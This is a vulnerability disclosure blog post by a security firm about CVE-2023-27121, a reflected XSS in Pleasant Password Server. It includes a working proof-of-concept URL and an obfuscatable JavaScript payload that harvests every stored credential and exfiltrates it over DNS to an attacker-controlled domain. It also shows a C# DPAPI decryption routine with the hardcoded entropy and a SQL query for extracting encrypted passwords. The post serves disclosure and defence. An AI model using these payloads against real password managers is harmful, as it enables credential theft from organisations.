Headline
CVE-2023-27121: The Not So Pleasant Password Manager - MDSec
A cross-site scripting (XSS) vulnerability in the component /framework/cron/action/humanize of Pleasant Solutions Pleasant Password Server v7.11.41.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cronString parameter.
Adversary Simulation
Our best in class red team can deliver a holistic cyber attack simulation to provide a true evaluation of your organisation’s cyber resilience.
Application
SecurityLeverage the team behind the industry-leading Web Application and Mobile Hacker’s Handbook series.
Penetration
TestingMDSec’s penetration testing team is trusted by companies from the world’s leading technology firms to global financial institutions.
Response
Our certified team work with customers at all stages of the Incident Response lifecycle through our range of proactive and reactive services.
Research
MDSec’s dedicated research team periodically releases white papers, blog posts, and tooling.
Training
MDSec’s training courses are informed by our security consultancy and research functions, ensuring you benefit from the latest and most applicable trends in the field.
Insights
View insights from MDSec’s consultancy and research teams.
Overview
During a recent adversary simulation, the MDSec ActiveBreach red team were asked to investigate the organisation’s Password Manager solution, with the key objective of compromising stored credentials, ideally from an unauthenticated perspective.
As part of this engagement, Sean Doherty & Juan Manuel Fernandez carried out a detailed analysis of the Password Manager solution (Pleasant Password Server). Resulting in the identification of a reflected cross-site scripting (XSS) vulnerability, CVE-2023-27121, that they found could be abused to leak passwords stored in the solution.
CVE-2023-27121 – Credential Leak via XSS in Pleasant Password Manager
After brief browsing of the web portal and analysis of HTTP requests, we noticed an interesting endpoint in our logs:
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=<cron expression>
This endpoint is used to convert a cron expression into a human readable string. Importantly, the content within the cronString parameter did not appear to undergo sufficient sanitisation to only permit the specific characters that would be expected in a cron expression, and the response was reflected back to the user that submitted the request.
In addition, this endpoint could be accessed from an unauthenticated perspective, which aids detection of vulnerable instances.
The below XSS PoC was used to validate the presence of the vulnerability, injecting arbitrary JavaScript into the application’s response that will cause the browser to open the Print Dialog Box:
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=0+0+1+/%3Csvg%0Conload=print()%3E+*+SAT+*
Having identified the vulnerability, we wanted to see if we could exploit it to leak credentials from the server. Our analysis of the vulnerability identified some restrictions we had to bear in mind in when crafting our payload:
- We couldn’t use spaces or quotation marks in the final payload, otherwise we would break the expected format for a cron expression.
- There was limited space for our payload, full URL needed to remain under 2100~ characters.
- We couldn’t fetch external JS resources due to the Content Security Policy (CSP) configuration.
- No Cross Origin Resource Sharing (CORS)
With this in mind, we created the following weaponised payload.
WARNING: This payload only XOR & Hex encodes credentials before exfiltrating over DNS – for test environments only
var H='HTTPS://',U=H+'LOCALHOST:10001/WEBCLIENT/',M='MAIN/',C='CREDENTIAL',E = new TextEncoder(),Y = () => E.encode('T'),Q = (B) => new Uint8Array(E.encode(unescape(encodeURIComponent(B)))),T = (B) => Array.from(Q(B).map((C, I) => C ^ Y()[I % Y().length]), V => `0${(V & 0xFF).toString(16)}`.slice(-2)).join('');fetch(U + M + 'GETTREE').then(R => R.json().then(F => F.forEach(F => fetch(U+C+'LISTGRID/SELECT?'+C+'GROUPID='+F.id,{method:'POST'}).then((R)=>{return R.json()}).then((D)=>{D['Data'].forEach(L=K=>fetch(U+M+'COPYPASSWORDPOPUP?'+C+'ID='+K.Id).then((R)=>{return R.json()}).then((D)=>{fetch(H+T(K.Username)+"."+T(D.response)+'.1EAK.NET')}))}))));
This payload would perform the following:
- Enumerate the ID of the “root” folder via a GET request to the /WEBCLIENT/MAIN/GETTREE endpoint.
- Issue a POST request to /WEBCLIENT/CREDENTIALLISTGRID/SELECT?CREDENTIALGROUPID=<ID>, to retrieve a JSON array containing all the usernames and associated password IDs in the “root” folder.
- With each of the password IDs found, perform a GET request to /WEBCLIENT/MAIN/COPYPASSWORDPOPUP?CREDENTIALID=<ID>, to retrieve the plaintext credential.
- XOR encode both the username and password with a given key.
- Hex encode the resulting values (for safe transmission).
- Perform GET requests to an attacker controlled domain. The requests would fail, but still result in the DNS lookups containing the encoded credentials.
As we had some character restrictions to get around, we char encoded the payload for it to be recovered at runtime via eval(StringfromCharCode()). See the below amended PoC:
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=0+0+1+/%3Csvg%0Conload=eval(StringfromCharCode(<CHAR PAYLOAD>))%3E+*+SAT+*
And generated a weaponized XSS payload:
With the crafted URL prepared, it would be ready to send to a target. The below demonstrates it being executed in our lab environment:
And the encoded credentials were hitting our nameserver in the form of DNS queries for subdomains of our attacker controlled domain.
Lastly, we can then decode the leaked credentials back to plaintext:
This vulnerability was identified in releases v7.11.38 & v7.11.41, and remediation verified in v8.1.0.
Alternative Technique to Recover Credentials
Moving to an authenticated perspective, we decided to investigate how easy it would be to extract credentials from the solution, if the host running the service had been compromised.
For storing sensitive data, Pleasant Password Server supports the following databases:
- SQLite
- MSSQL
- PostgreSQL
Decrypting the Connection String Stored in the Registry
A brief review of the installed solution resulted in the discovery of the backend database connection string being stored in the registry, though it was encrypted. HKLM\SOFTWARE\Pleasant Solutions\PasswordManager\DatabaseConnectionString
Some quick reversing and we came across logic related to decrypting the connection string in the following location:
- DLL: C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\PassMan.Configuration.dll
- Namespace: PassMan.Configuration
- Class: DbConfigurationStore
- Method: MigrateRegistryConnectionString
From this, we know that the connection string is encrypted using the data protection API (DPAPI), and that it uses additional entropy, hardcoded in a Constants class, as shown below:
As such, with system access we can retrieve the plaintext connection string by running a simple decryption routine on the host as an administrative user:
static string DecryptRegKey(string encryptedConnectionString) { byte[] additionalEntropy = { 0x9D, 0x38, 0x4A, 0xB6, 0x2D, 0x0E, 0x4E, 0x2F, 0x5A, 0x66, 0x44, 0x7B, 0x7A, 0x3E, 0x30, 0x69 }; try { return Encoding.ASCII.GetString(ProtectedData.Unprotect(Convert.FromBase64String(encryptedConnectionString), additionalEntropy, DataProtectionScope.LocalMachine)); } catch (Exception ex) { Console.WriteLine("[X] Something went wrong: " + ex); Console.WriteLine("[X] Has AdditionalEntropy changed? Check PassMan.Configuration.dll Constants..."); return null; } }
Armed with this connection string, we were then able to connect to the backend DB. The below example was used to list credential sets in a MSSQL deployment:
SELECT Name,Username,Password FROM dbo.CredentialObject;
However, we noticed, and expected, that all the values in the Password column were encrypted.
Decrypting Passwords Stored In DB
Some further reversing was performed and we came across a hardcoded string that we found was being used as the key for all crypto routines in the class:
- DLL: C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\Pleasant.dll
- Namespace: Pleasant.Security
- Class: Obfuscation
In addition, we identified the methods responsible for handling encryption/decryption of the passwords in the database:
- DLL: C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\Pleasant.dll
- Namespace: Pleasant.Security
- Class: Encryption
With all the required information gathered we could now:
- Identify and connect to the backend database.
- Extract all users and passwords.
- Decrypt the passwords based on the identified logic.
A utility to aid in these actions can be found on GitHub.
This blog post was written by Sean Doherty and Juan Manuel Fernandez.
Ready to engage
with MDSec?
Stay updated with the latest
news from MDSec.